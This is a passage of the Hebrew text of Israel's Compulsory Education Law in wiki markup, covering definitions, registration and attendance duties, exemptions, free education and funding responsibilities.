כספי הקצבות למטרות חינוך)|17:300038)), ((749|חוק מוסדות חינוך תרבותיים ייחודיים|17:300758)); ((תשס&quot;ט, 195, 196, 196|חוק ההתייעלות הכלכלית (תיקוני חקיקה ליישום התכנית הכלכלית לשנים 2009 ו-2010)|18:301061)); ((תשע&quot;א, 192|חוק המדיניות הכלכלית לשנים 2011 ו-2012 (תיקוני חקיקה)|18:301268)); ((תשע&quot;ג, 104|תיקון מס' 32|19:301532)), ((116|חוק לשינוי סדרי עדיפויות לאומיים (תיקוני חקיקה להשגת יעדי התקציב לשנים 2013 ו-2014)|19:301574)); ((תשע&quot;ד, 331|תיקון מס' 16 (תיקון מס' 9)|19:301634)); ((תשע&quot;ו, 1083|חוק ביטוח תאונות אישיות לתלמידים (תיקוני חקיקה)|20:347840)), ((1157|תיקון מס' 35|20:348523)); ((תשע&quot;ז, 317, 318|חוק ההתייעלות הכלכלית (תיקוני חקיקה להשגת יעדי התקציב לשנות התקציב 2017 ו-2018)|20:366872)); ((תשפ&quot;ה, 16|חוק איסור העסקת עובדי הוראה ושלילת תקציב ממוסדות חינוך עקב הזדהות עם מעשה טרור או עם ארגון טרור (תיקוני חקיקה)|25:5143049)).

__TOC__

== פרק ראשון: פירושים ==

@ 1. פירושים (תיקון: תשי&quot;ג-2, תשכ&quot;ט-2, תשכ&quot;ט-3, תשל&quot;ח, תשמ&quot;ד, תשס&quot;ז-2)
: בחוק זה -
:- &quot;שר&quot; פירושו - שר החינוך והתרבות.
:- &quot;רשות חינוך מקומית&quot; פירושה -
:: (א) לגבי תחום שיפוטה של רשות מקומית - אותה רשות מקומית; אולם רשאי השר לקבוע בצו שפורסם ברשומות, כי אדם או חבר-בני-אדם, המקיימים מוסד חינוך לגילאי לימוד חובה בתחום מועצה אזורית, יהיו רשות חינוך מקומית נפרדת לגבי שטח המוסד שיוגדר בצו, אם ראה לעשות כן מטעמים מיוחדים, ולאחר שנתן למועצה האזורית הזדמנות לטעון טענותיה;
:: (ב) לגבי מושב, קבוצה או קיבוץ - ועד המושב, או מזכירות הקבוצה או הקיבוץ, לפי הענין; ושטח המושב, הקבוצה או הקיבוץ הוא תחום השיפוט של הועדה או המזכירות, לפי הענין;
:: (ג) לגבי שטח אחר - ועד שהוכר, או אדם שנתמנה, על ידי השר, בצו שפורסם ברשומות, כרשות חינוך מקומית בשטח שתואר בצו; ואותו שטח הוא תחום השיפוט של אותו ועד או של אותו אדם, לפי הענין.
:- &quot;ילד&quot; פירושו - אדם שבראשית שנת הלימודים היה באחד הגילים מ-3 עד 13 ועד בכלל.
:- &quot;נער&quot; פירושו - אדם שבראשית שנת הלימודים היה באחד הגילים מ-14 עד 17.
:- &quot;הורים&quot; של ילד או של נער כוללים את אפוטרופסו של הילד או של הנער, וכל אדם שהילד או הנער נמצא ברשותו, בפיקוחו או בהשגחתו.
:- &quot;נותן עבודה&quot; פירושו - אדם המעסיק ילד או נער בכל עבודה שהיא, בין בשכר ובין שלא בשכר.
:- &quot;חינוך בגן-ילדים&quot; - פירושו חינוך הניתן בגן-ילדים, לרבות גן במעון ילדים, לילדים בגיל 3 עד 5 ועד בכלל.
:- &quot;חינוך חובה&quot; פירושו - לימוד המיועד לילדים ולנערים והניתן בחמש עשרה שנות לימוד, מהן שלוש בגן ילדים בגיל 3 עד 5 ועד בכלל ושתים עשרה שנות לימוד, בכיתות א' עד י&quot;ב, לילדים ולנערים.
:- &quot;מוסד חינוך&quot; פירושו - מוסד ללימוד שיטתי לילדים או לנערים.
:- &quot;מוסד חינוך לילדים&quot; פירושו - מוסד חינוך לחינוך חובה לילדים.
:- &quot;מוסד חינוך לנערים&quot; - מוסד חינוך לחינוך חובה לנערים.
:- &quot;מוסד חינוך לנערים עובדים&quot; - מוסד חינוך ללימודי ערב לנערים עובדים.
:- &quot;מוסד חינוך רשמי&quot; פירושו - מוסד חינוך מוחזק על ידי המדינה, או על ידי רשות חינוך מקומית, או על ידי רשויות חינוך מקומיות אחדות במשותף, או על ידי המדינה ורשות חינוך מקומית, או על ידי המדינה ורשויות חינוך מקומיות אחדות במשותף, ואשר השר הכריז עליו, באכרזה שפורסמה ברשומות, שהוא מוסד חינוך רשמי לצורך חוק זה.
:- &quot;מוסד חינוך מוכר&quot; פירושו -
:: (א) כל מוסד חינוך רשמי;
:: (ב) כל מוסד חינוך אחר שהשר הכריז עליו, באכרזה שפורסמה ברשומות, שהוא מוסד חינוך מוכר לצורך חוק זה.

@ 1א. רשות חינוך מקומית - תאגיד (תיקון: תשכ&quot;ט-3)
: רשות חינוך מקומית שאיננה רשות מקומית תהיה תאגיד כשר לכל חובה, זכות ופעולה משפטית בתחום תפקידיה.

== פרק שני: לימוד חובה ==

@ 2. לימוד חובה לילדים ולנערים (תיקון: תשכ&quot;ט-2, תשל&quot;א, תשל&quot;ו, תשל&quot;ח, תשס&quot;ז-2)
: (א) לימוד חובה יקיף כל ילד וכל נער.
: (ב) (((בוטל).))
: (ג) (((בוטל).))
: (ד) ילד שלימוד חובה חל עליו נקרא בחוק זה &quot;ילד בגיל לימוד חובה&quot;; ונער שלימוד חובה חל עליו נקרא בחוק זה &quot;נער בגיל לימוד חובה&quot;.

@ 2א. חניכות כלימוד חובה (תיקון: תשכ&quot;ט-2, תשס&quot;ז-2)
: (א) חניכות של נער החל בגיל 15 על פי [[חוק החניכות, תשי&quot;ג-1953]], בתנאים שייקבעו בתקנות שיותקנו על ידי השר בהסכמת שר התעשיה המסחר והתעסוקה ובאישור ועדת החינוך והתרבות של הכנסת - תיחשב כלימוד חובה לענין חוק זה.
: (ב) השר יקבע בהסכמת שר התעשיה המסחר והתעסוקה תכנית חובה של לימודים עיוניים לחניכות כאמור בסעיף קטן (א).
: (ג) תכנית הלימודים העיוניים לפי סעיף קטן (ב) תהיה ממלכתית או ממלכתית דתית, ותכנית ממלכתית דתית תיקבע לאחר התייעצות במועצה לחינוך ממלכתי דתי שהוקמה לפי [[סעיף 13 לחוק חינוך ממלכתי, תשי&quot;ג-1953]].

@ 3. חובת רישום (תיקון: תשי&quot;ג-2, תשכ&quot;ט-2, תשל&quot;א, תשל&quot;ו, תשל&quot;ח, תשס&quot;ז-2, תשע&quot;ו-2)
: (א) הורים של ילד בגיל 3 עד 5 חייבים, כל אחד מהם, לרשמו, במועד ובאופן שנקבע בתקנות, ברשות החינוך המקומית שבתחום שיפוטה גר הילד. רשמו אחד מהם - השני פטור.
: (אא) הורים של ילד בגיל 6 ומעלה או של נער בגיל לימוד חובה חייבים, כל אחד מהם, לרשום את הילד או את הנער, כמפורט בסעיף-קטן (ב), במוסד חינוך או ברשות חינוך מקומית כאמור [[+|בסעיפים 20]] [[ו-21 לחוק חינוך ממלכתי, תשי&quot;ג-1953]]. רשם אחד מהם את הילד או את הנער - השני פטור.
: (ב) לפי סעיפים קטנים (א) ו-(אא) יש לרשום -
:: (1) (((בוטלה);))
:: (2) ילד שבראשית שנת הלימודים תשי&quot;ד או בראשית כל שנת לימודים שלאחריה יהיה בגיל 6 - במועד שנקבע בתקנות;
:: (3) ילד בגיל לימוד חובה או נער בגיל לימוד חובה שהגיע לארץ כעולה - תוך שלושים יום מיום העליה;
:: (4) ילד בגיל לימוד חובה או נער בגיל לימוד חובה שהעתיק את מקום מגוריו מתחום השיפוט של רשות חינוך מקומית אחת לתחום השיפוט של רשות חינוך מקומית אחרת - תוך שלושים יום מהיום בו העתיק הילד או הנער את מקום מגוריו;
:: (5) ילד בגיל לימוד חובה, או נער בגיל לימוד חובה, הגר בתחומה של רשות חינוך מקומית שאין בה מוסד חינוך רשמי ואותה רשות הודיעה, באופן שנקבע בתקנות, כי היא עומדת לפתוח מוסד כזה - תוך שלושים יום מיום ההודעה.
: (ג)(1) נותן עבודה המקבל לעבודה נער בגיל 15 ומעלה חייב להודיע על כך בכתב, תוך שבעה ימים מיום קבלת הנער לעבודה, לרשות החינוך המקומית שבתחום שיפוטה גר הנער.
:: (2) נותן עבודה המפסיק עבודתו של נער בגיל 15 ומעלה חייב להודיע על כך בכתב, תוך שבעה ימים מיום הפסקת העבודה, לרשות החינוך המקומית שבתחום שיפוטה גר הנער.
:: (3) (((בוטלה).))
: (ד) (((בוטל).))
: (ה) סעיף קטן (ג) לא יחול לגבי נער כאמור -
:: (1) שסיים את לימודיו לפי תכנית של לימודים בכיתה י&quot;ב;
:: (2) (((בוטלה);))
:: (3) שהוא חניך לפי [[חוק החניכות, תשי&quot;ג-1953]].
: (ו) העובר על הוראות סעיף קטן (א), (ב) או (ג) - דינו מאסר עד ארבעה עשר יום או קנס עד עשר לירות או שני הענשים כאחד; אך אם הילד או הנער שביחס אליו נעברה העבירה מועסק בעבודה, דין העובר - מאסר עד עשרים ושמונה ימים או קנס עד עשרים לירות או שני העונשים כאחד.
: (ז) (((בוטל).))

@ 3א. סמכויות השר בקשר לרישום (תיקון: תש&quot;י-2)
: (א) לא התחילה רשות חינוך מקומית מסויימת לערוך רישום לפי חוק זה והתקנות שהותקנו על פיו, תוך עשרה ימים מהמועד שנקבע לכך, או שהיה לשר יסוד להניח שאין בדעתה או ביכלתה לערוך רישום כאמור - רשאי הוא לצוות, בצו שיפורסם בדרך הנראית לו, שאותה רשות חינוך מקומית לא תערוך עוד רישום כאמור, ושהרישום ייערך על ידי מי שהשר יקבע, ובמועד ובאופן שהשר יקבע.
: (ב) היה לשר יסוד להניח שרישום, או רישום מחדש, שנערך על ידי רשות חינוך מקומית מסויימת, נערך שלא בהתאם לחוק זה ולתקנות שהותקנו על פיו - רשאי הוא, בצו שיובא לידיעת הנוגעים בדבר בדרך הנראית לו, לבטל אותו רישום, ולצוות שהרישום ייערך מחדש -
:: (1) על ידי רשות החינוך המקומית - במועד שהשר יקבע; או
:: (2) על ידי מי שהשר יקבע - במועד ובאופן שהשר יקבע.
: (ג) ניתן צו לפי סעיף זה לגבי רישום מסויים - חייב כל מי שחובת אותו רישום חלה עליו לפי [[סעיף 3]], למלא אותה חובה במועד ובאופן שהשר קבע לעריכת הרישום.
: (ד) רישום שנערך שלא על ידי רשות חינוך מקומית, בתוקף צו שניתן לפי סעיף זה - תישא רשות החינוך המקומית בהוצאותיו, שייגבו ממנה בדרך שהשר יקבע; ותעודה חתומה בידי השר הקובעת את סכום ההוצאות האמורות תשמש ראיה חותכת לכך.

@ 3ב. (תיקון: תשנ&quot;א, תשס&quot;א, תשס&quot;א-2) : (((בוטל).))
@ 3ג. (תיקון: תשנ&quot;ב-2, תשס&quot;א, תשס&quot;א-2) : (((בוטל).))

@ 4. חובת לימוד סדיר (תיקון: תשכ&quot;ט, תשכ&quot;ט-2, תשל&quot;א, תשל&quot;ב, תשל&quot;ו, תשל&quot;ח, תשנ&quot;ו, תשס&quot;ד-2, תשס&quot;ז-2)
: (א) הורים של ילד בגיל לימוד חובה, או של נער בגיל לימוד חובה חייבים, כל אחד מהם, לדאוג לכך שהילד או הנער ילמד באופן סדיר במוסד חינוך מוכר.
: (ב)(1) לא למד ילד או נער עד גיל 15 באופן סדיר במוסד חינוך מוכר, דינו של כל אחד מהוריו מאסר שני חדשים או קנס אלף לירות, זולת אם הוכיח מעל לכל ספק סביר שעשה כמיטב יכולתו כדי שהילד או הנער ילמד כאמור.
:: (2) לא יובא אדם לדין לפי סעיף קטן זה, אלא לאחר שמנהל מוסד החינוך המוכר בו רשום הילד או הנער שלח לו בדואר רשום הודעה בכתב שהילד או הנער לא למד כאמור, ואף לאחר משלוח ההודעה לא למד הילד או הנער, כאמור, בזמן מן הזמנים; ולא יובא אדם לדין לפי סעיף קטן זה אלא לאחר שעברו שבעה ימים מיום משלוח ההודעה.
:: (3) בית המשפט הדן בעבירה לפי סעיף קטן זה ישמע בכל מקרה את חוות דעתו של עובד סוציאלי כהגדרתו [[בחוק העובדים הסוציאליים, התשנ&quot;ו-1996]] או את חוות דעתו של קצין ביקור סדיר, וכן במידת האפשר את חוות דעתו של היועץ הפסיכולוגי העובד בבית הספר שבו לומד הילד; לענין פסקה זו, &quot;קצין ביקור סדיר&quot; - עובד המדינה או עובד רשות מקומית ששר החינוך והתרבות הסמיכו לענין זה.
: (ג)(1) נותן עבודה המעסיק ילד בגיל לימוד חובה, או נער בגיל לימוד חובה אשר טרם סיים את החינוך היסודי, חייב לשחרר את הילד או את הנער מהעבודה, בלי לנכות משכרו, בימים ובשעות המיועדים ללימוד הילד או הנער, הכל כפי שייקבע בתקנות.
:: (2) נותן עבודה שעבר על הוראות סעיף קטן זה, דינו -
::: (I) על עבירה ראשונה - מאסר עד ארבעה עשר יום או קנס עד עשר לירות או שני הענשים כאחד;
::: (II) על עבירה נוספת - מאסר עד עשרים ושמונה ימים או קנס עד עשרים לירות או שני הענשים כאחד.
:: (3) בית-משפט הדן בעבירה לפי סעיף קטן זה, ישמע בכל מקרה את חוות-דעתו של אדם הכשיר לעבודה סוציאלית, כמשמעותו [[בחוק שירותי הסעד, תשי&quot;ח-1958]], וכן במידת האפשר את חוות-דעתו של היועץ הפסיכולוגי העובד בבית הספר שבו לומד הילד.
: (ד) (((בוטל).))
: (ה) יצא אדם חייב בדין על עבירה לפי סעיף זה, והוכח לבית המשפט כי בזמן היעדר מן הלימודים, אשר בגללו יצא חייב בדין, הועסק הילד או הנער בעבודה בשכר, רשאי בית המשפט להטיל על אותו אדם, נוסף על כל עונש אחר, קנס שלא יעלה על שכר עבודתו של הילד או של הנער באותו זמן.
: (ו) הוכח לשר כי - ילד או נער שבעטיו שלמו הוריו קנס על עבירה לפי סעיף קטן (ב), למד באופן סדיר במוסד חינוך מוכר במשך שנה אחת לאחר הטלת הקנס, יהיה השר רשאי לצוות על החזרת הקנס למשלמו, והקנס יוחזר כמצווה.
: (ז) ילד בגיל לימוד חובה או נער בגיל לימוד חובה, הרשום במוסד חינוך מוכר, ובלי סיבה מספקת -
:: (1) נעדר מלימודיו לעתים כה תכופות עד שלדעת מנהל מוסד החינוך יש בכך משום הפרעה רצינית ללימודיו; או
:: (2) נעדר מלימודיו שבעה ימי לימוד רצופים,
:: רואים אותו כאילו לא למד במוסד החינוך באופן סדיר, ומנהל מוסד החינוך ישלח אל הוריו של הילד או של הנער הודעה כאמור בסעיף קטן (ב)(2) ויעביר העתק ממנה לרשות החינוך המקומית.

@ 4א. (תיקון: תשל&quot;ב-2, תשמ&quot;ח-2) : (((בוטל).))
@ 4ב. (תיקון: תשל&quot;ב-2, תשמ&quot;ח-2) : (((בוטל).))
@ 4ג. (תיקון: תשל&quot;ב-2, תשמ&quot;ח-2) : (((בוטל).))
@ 4ד. (תיקון: תשל&quot;ב-2, תשמ&quot;ח-2) : (((בוטל).))
@ 4ה. (תיקון: תשל&quot;ב-2, תשמ&quot;ח-2) : (((בוטל).))

@ 5. פטור (תיקון: תשל&quot;ב-2, תשס&quot;ח-3, תשע&quot;ג, תשע&quot;ג-2, תשע&quot;ו-2)
: (א) השר רשאי להורות, בהוראה שתפורסם ברשומות, כי ההורים של ילדים ושל נערים, וכן הנערים עצמם, הלומדים באופן סדיר במוסד חינוך המתואר באותה הוראה, ואינו מוסד חינוך מוכר - יהיו פטורים מן החובות המוטלות עליהם לפי [[סעיף 4]]; השר רשאי לקבוע, בתקנות, הוראות ותנאים שעל מוסד חינוך לקיימם לצורך מתן הוראת פטור לגביו לפי סעיף קטן זה, ובכלל זה לעניין הפעלת המוסד.
:: ((פורסמו [[תקנות לימוד חובה (מתן הוראת פטור לגבי מוסד חינוך ותקצובו) (הוראת שעה), התשפ&quot;ד-2024]].))
: (א1) הורים של ילדים או של נערים, וכן הנערים עצמם, הלומדים באופן סדיר במוסד חינוך תרבותי ייחודי כהגדרתו [[בחוק מוסדות חינוך תרבותיים ייחודיים, התשס&quot;ח-2008]], יהיו פטורים מן החובות המוטלות עליהם לפי [[סעיף 4]].
: (ב)(1) השר רשאי להורות, בהוראה כללית או מיוחדת, כי ההורים ונותן העבודה של ילד או של נער, וכן הנער עצמו, יהיו פטורים מן החובות המוטלות עליהם לפי [[סעיף 4]], אם -
::: (I) קיימים, לדעת השר, טעמים מיוחדים לכך שהילד או הנער לא ילמד במוסד חינוך מוכר, והילד או הנער מקבל באופן פרטי לימוד שיטתי המניח את דעת השר; או
::: (II) השר משוכנע שאין הילד או הנער מסוגל ללמוד באופן סדיר במוסד חינוך מוכר;
:: (2) בהוראה לפי סעיף קטן זה רשאי השר לקבוע כל תנאי וכל סייג הנראים לו;
:: (3) מי שניתנה עליו הוראת פטור לפי סעיף זה, לא יחולו לגביו הוראות [[סעיפים 6]], [[7]], [[ו-10]] אלא בכפוף לתנאים ולסייגים שבהוראת הפטור, ובלבד שתישמר החובה לספק לילד או לנער לימודים במסגרת שקבע השר בכל מקרה שהילד או הנער מסוגל לכך.

== פרק שלישי: לימוד חינם ==

@ 6. זכות לימוד חינם (תיקון: תשכ״ט–2, תשל״ו, תשל״ח, תשל״ח–3, תש״ם, תשמ״א, תשמ״ח–2, תשנ״ד–2, תשנ״ד–3, תשס״ז–2, תשע״ו)
: (א) אלה זכאים לחינוך חינם במוסד חינוך רשמי:
:: (1) מי שחל עליו לימוד חובה לפי חוק זה, זולת אם סיים את לימודיו לפי תכנית לימודים בכיתה י״ב;
:: (2) מי שבגיל 18 ולא סיים אלא לימודים לפי תכנית לימודים בכיתה י״א.
: (א1) (((בוטל).))
: (ב) השר רשאי לזכות בחינוך חינם בנוסף על האמורים בסעיף קטן (א) את מי שטרם השלים לימודיו לפי תכנית של לימודים בכיתה י״ב, עד שישלים אותם, לפי כללים, מבחנים, תנאים וסייגים שנקבעו בתקנות, בהתייעצות עם ועדת החינוך והתרבות של הכנסת.
: (ג) על אף האמור בסעיף קטן (א) רשאי השר, בצו, להורות כי מי שלא ניתן, לדעת השר, להבטיח לימודיו במוסד חינוך רשמי – ילמד במוסד חינוך אחר, ואוצר המדינה ישא בשכר לימודיו במוסד כאמור, בתנאים שנקבעו בצו האמור.
:: ((פורסם [[צו לימוד חובה (חינוך חינם שלא במוסד חינוך רשמי), תשל&quot;ח-1978]].))
: (ד) מי שזכאי לחינוך חינם לפי סעיף זה, לא ידרשו בעדו דמי הרשמה או כל תשלום אחר בעד לימודיו במוסד חינוך רשמי או בעד לימודיו במוסד חינוך אחר שאוצר המדינה נושא בשכרם לפי סעיף קטן (ג); ואולם רשות החינוך המקומית שבתחום שיפוטה נמצא מוסד החינוך שבו הוא לומד, ובמוסד חינוך שאינו רשמי – רשות החינוך המקומית כאמור או בעל המוסד, יהיו רשאים, באישור השר, לגבות תשלומים והחזר הוצאות, בשיעורים שהשר יקבע, בעד אספקה שהם נותנים לו, ובעד שירותים שהם נותנים לו נוסף על השירותים אשר השר הגדיר אותם בתקנות כשירותים מקובלים; אישור השר וקביעת שיעור התשלומים והחזר ההוצאות בידי השר טעונים אישור עם ועדת החינוך והתרבות של הכנסת.
:: ((פורסמו [[תקנות לימוד חובה (שירותים מקובלים), תשי&quot;א-1950]].))
: (ד1)(1) מי שזכאי לחינוך חינם לפי סעיף זה יהיה מבוטח בביטוח תאונות אישיות, באמצעות רשות החינוך המקומית שבתחום שיפוטה נמצא מוסד החינוך שבו הוא לומד; רשויות החינוך המקומיות יתקשרו בחוזה ביטוח כאמור עם מי שזכה במכרז שנערך לפי הוראות [[סעיף 198ב לפקודת העיריות]], ובהתאם להסדר שנקבע [[באותו סעיף]].
:: (2) במסגרת התשלומים לפי סעיף קטן (ד), יקבע השר לפני פרסום המכרז כאמור בפסקה (1), את התשלום שייגבה מהמבוטחים ויכלול דמי ביטוח אחידים וכן שיעור דמי עמילות מרביים שמבטח יהיה רשאי לשלם לסוכני הביטוח בעד תיווך לעניין הביטוח; בסעיף זה, 
:::- ”מבטח” ו”סוכן ביטוח” – כהגדרתם [[בחוק הפיקוח על שירותים פיננסיים (ביטוח), התשמ״א–1981]], 
:::- ו”דמי עמילות” – כהגדרתם [[בסעיף 41 לחוק האמור]].
: (ה) הוראות סעיף קטן (ד) אינן גורעות מהוראות [[סעיף 8 לחוק חינוך ממלכתי, תשי״ג–1953]], ובמוסד חינוך שאינו רשמי - מכוחה של התחייבות לשאת בהוצאותיה של תכנית לשעות נוספות על השעות שנקבעו בתכנית הלימודים.
: (ו) למרות האמור בסעיף קטן (ב), כל רשות חינוך מקומית תספק חינם לכל נער, הלומד במוסד חינוך רשמי לנערים עובדים שבתחום שיפוטה, ספרים, מחברות, מכשירי כתיבה ויתר הציוד הדרושים ללימודיו.

@ 6א. ייעוד כספי תשלומים (תיקון: תשס&quot;ד, תשס&quot;ח-2)
: (א) תשלומים כאמור [[בסעיף 6(ד) ו-(ד1)]] וכן כל תשלום אחר שהתקבל, במישרין או בעקיפין, ממי שזכאי לחינוך חינם לפי [[סעיף 6]] הלומד במוסר חינוך רשמי או במוסד חינוך אחר שאוצר המדינה נושא בשכר הלימוד בו לפי [[סעיף 6(ג)]], בין אם הוא תשלום חובה ובין אם הוא תשלום שאינו חובה (בסעיף זה - תשלומים), ישמשו רק למטרות שלשמן נועדו.
: (ב) רשות החינוך המקומית או בעל מוסד חינוך יחזיקו את כספי התשלומים בחשבון בנק נפרד (בסעיף זה - חשבון הבנק) המיועד אך ורק למטרה זו; בסעיף זה, &quot;חשבון בנק נפרד&quot; - חשבון בנק נפרד לכל מוסד חינוך שבו ינוהלו כספי התשלומים שהתקבלו בעד תלמידי אותו מוסד.
: (ג) כספים אשר נותרו בחשבון הבנק בסופה של כל שנת לימודים, יוחזרו לתלמידים שמהם נגבו, או ינוכו מהתשלום שעליהם לשלם בשנת הלימודים שלאחריה, במועד ובאופן שיקבע השר, באישור ועדת החינוך והתרבות של הכנסת.
: (ג1) כספי תשלומים המוחזקים בחשבון הבנק יהיו פטורים מעיקול.
: (ד) השר, באישור ועדת החינוך והתרבות של הכנסת, יקבע הוראות לביצוע סעיף זה לרבות בדבר ניהול חשבון הבנק ודרכי הביקורת על ניהולו, וכן בדבר מתן זכות עיון ודיווח להורים ולועד ההורים במוסד החינוך, לענין כספי התשלומים וניהולם.
: ((פורסמו [[תקנות לימוד חובה (ייעוד כספי תשלומים), התשס״ה–2004]].))

@ 7. אחריות למתן חינוך חובה חינם (תיקון: תשכ&quot;ט-2, תשל&quot;ח-3)
: (א) המדינה אחראית למתן חינוך חובה חינם לפי חוק זה.
: (ב) קיום מוסדות חינוך רשמיים למתן חינוך חובה חינם לפי חוק זה לילדים ולנערים הגרים בתחום שיפוטה של רשות חינוך מקומית מסויימת, יהא מוטל על המדינה ועל אותה רשות חינוך מקומית במשותף. השר, בהתיעצות עם שר הפנים, ועם ועדת החינוך והתרבות של הכנסת יקבע, בצו שיפורסם ברשומות, לגבי כל שנת לימודים ולגבי כל רשות חינוך מקומית, את שיעור ההשתתפות של המדינה ושל רשות החינוך המקומית בקיום מוסדות החינוך הרשמיים שבהם ניתן חינוך חובה לילדים ולנערים הגרים בתחום שיפוטה של אותה רשות חינוך מקומית.
:: ((פורסם [[צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו), התשפ&quot;ו-2026]]; ראו גם צווים לשנות לימודים קודמות: [[צו לימוד חובה (שיעור ההשתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים בשנת הלימודים התשס&quot;ו)|התשס&quot;ו]], [[צו לימוד חובה (שיעור ההשתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים בשנות הלימודים התשס&quot;ט-התש&quot;ע)|התשס&quot;ט והתש&quot;ע]], [[צו לימוד חובה (שיעור ההשתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים בשנת הלימודים התשע&quot;א)|התשע&quot;א]], [[צו לימוד חובה (שיעור ההשתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשע&quot;ב)|התשע&quot;ב]], [[צו לימוד חובה (שיעור ההשתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשע&quot;ג)|התשע&quot;ג]], [[צו לימוד חובה (שיעור ההשתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשע&quot;ה)|התשע&quot;ה]], [[צו לימוד חובה (שיעור ההשתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשע&quot;ז)|התשע&quot;ז]], [[צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשע&quot;ח)|התשע&quot;ח]], [[צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשע&quot;ט)|התשע&quot;ט]], [[צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ד)|התשפ&quot;ד]], [[צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ה)|התשפ&quot;ה]].))
: (ג) השר רשאי לחייב, בצו, רשות חינוך מקומית, או רשויות חינוך מקומיות אחדות במשותף, לפתוח ולקיים מוסדות חינוך רשמיים לחינוך יסודי.

@ 7א. תשלומים בעבור תלמידים הלומדים ברשו חינוך מקומית אחרת (תיקון: תשס&quot;ב)
: (א)(1) רשות חינוך מקומית, אשר לא קיים בתחומה מוסד חינוך מתאים בעבור ילד או נער המתגורר בתחומה והוא זכאי לחינוך חינם (בסעיף זה - הרשות השולחת), השולחת, בהתאם להוראות סעיף זה, את הילד או הנער למוסד חינוך מתאים הנמצא בתחום שיפוטה של רשות חינוך מקומית אחרת (בסעיף זה - הרשות הקולטת), תשלם את סכום ההשתתפות כאמור בסעיף קטן (ב) (בסעיף זה - סכום ההשתתפות) בשל אותו ילד או נער.
:: (2) הרשות השולחת תשלם את סכום ההשתתפות, לפי הוראות סעיף זה, לרשות הקולטת או לבעל מוסד החינוך המתאים שאליו נשלח הילד או הנער, לפי קביעת הרשות הקולטת.
:: (3) רשות שולחת, השולחת ילד או נער, כאמור בפסקה (1), למוסד חינוך מתאים ברשות קולטת, תשלח אותו למוסד כאמור הסמוך ביותר למקום מגוריו, אלא אם כן קבע השר או מי שהוא הסמיך לכך, בהסכמת הרשות השולחת, ובהתחשב, בין השאר, בהסדרי התחבורה הציבורית, כי ילד או נער יישלח למוסד חינוך מתאים אחר.
:: (4) השר, בהתייעצות עם מרכז השלטון המקומי ובאישור ועדת החינוך והתרבות של הכנסת, יתקין, בכפוף להוראות סעיף קטן (ג), תקנות לענין מוסד חינוך מתאים לצורך סעיף זה; התקנת התקנות תיעשה בהתחשב גם בסוגי מוסדות חינוך, במיקומם ובאזורי מגורים של ילדים או נערים.
: (ב) השר, בהתייעצות עם מרכז השלטון המקומי ובאישור ועדת החינוך והתרבות של הכנסת, יקבע את סכום ההשתתפות, ורשאי הוא לקבוע סכומי השתתפות שונים; קביעה לפי סעיף קטן זה תיעשה, בין השאר, בהתחשב בקיום השתתפות של הרשות השולחת בהוצאות חינוכו של ילד או נער אילו היה לומד במוסד חינוך מתאים בתחומה וכן בסוגי מוסדות חינוך.
: (ג) הוראות סעיף זה יחולו על מוסדות החינוך המפורטים להלן:
:: (1) מוסדות חינוך רשמיים;
:: (2) מוסדות חינוך מוכרים לחינוך על יסודי;
:: (3) מוסדות חינוך של תאגיד מרכז החינוך העצמאי;
:: (4) מוסדות חינוך של תאגיד מרכז מעיין החינוך התורני בארץ ישראל.
: ((פורסמו [[תקנות לימוד חובה (תלמידים הלומדים ברשות חינוך מקומית אחרת), התשס״ה–2005]].))

@ 8. ארנונה
: (א) השר רשאי, בהתיעצות עם שר הפנים, בצו שיפורסם ברשומות, להעניק לועד שהוכר, או לאדם שנתמנה על ידיו כרשות חינוך מקומית, את הסמכות להטיל על תושבי השטח שהוא תחום השיפוט של אותה רשות חינוך מקומית, ולגבות מהם, ארנונה לכיסוי ההוצאות הכרוכות במילוי החובות המוטלות על רשות החינוך המקומית לפי חוק זה.
: (ב) העקרונות שלפיהם תוטל הארנונה ושיעורה - ייקבעו בצו.
:: ((פורסם [[צו לימוד חובה (השתתפות בהוצאות קיום מוסד), תשל&quot;ח-1978]].))
: (ג) ארנונה כאמור, דינה, בכל הנוגע לגבייתה, כדין מס, כמשמעותו [[בפקודת המסים (גביה)]].

@ 9. (תיקון: תשכ&quot;ט-2, תשל&quot;ח-2, תשמ&quot;ח-2) : (((בוטל).))

== פרק רביעי: זכות הורים לבחור בזרם מוכר ==

@ 10. זכות הורים לבחור בזרם מוכר (תיקון: תש&quot;י, תשי&quot;ג-2, תשכ&quot;ט-2)
: (א) (((בוטל).))
: (ב) השר רשאי לחייב, בצו, רשות חינוך מקומית, או רשויות חינוך מקומיות אחדות במשותף, לפתוח ולקיים - לפי רצון הורי הילדים או הנערים הגרים בתחום השיפוט של אותה רשות חינוך מקומית או אותן רשויות חינוך מקומיות - מוסד חינוך רשמי לחינוך חובה. הוראות מפורטות בנוגע למתן צווים לפי סעיף קטן זה ייקבעו בתקנות.
:: ((פורסמו [[תקנות לימוד חובה (מתן צווים לפתיחת מוסדות חינוך ולקיומם), תשי&quot;ג-1952]].))
: (ג)(1) הוראות סעיפים קטנים (א) ו-(ב) לא יחולו לגבי מחנות-עולים.
:: (2) השר רשאי לקבוע בתקנות סדרי לימוד במחנות-עולים.
:: (3) בסעיף קטן זה, &quot;מחנה-עולים&quot; פירושו - מקום המשמש לאכסון עולים סמוך לעלייתם ועד להשתכנותם שיכון קבוע או ארעי.

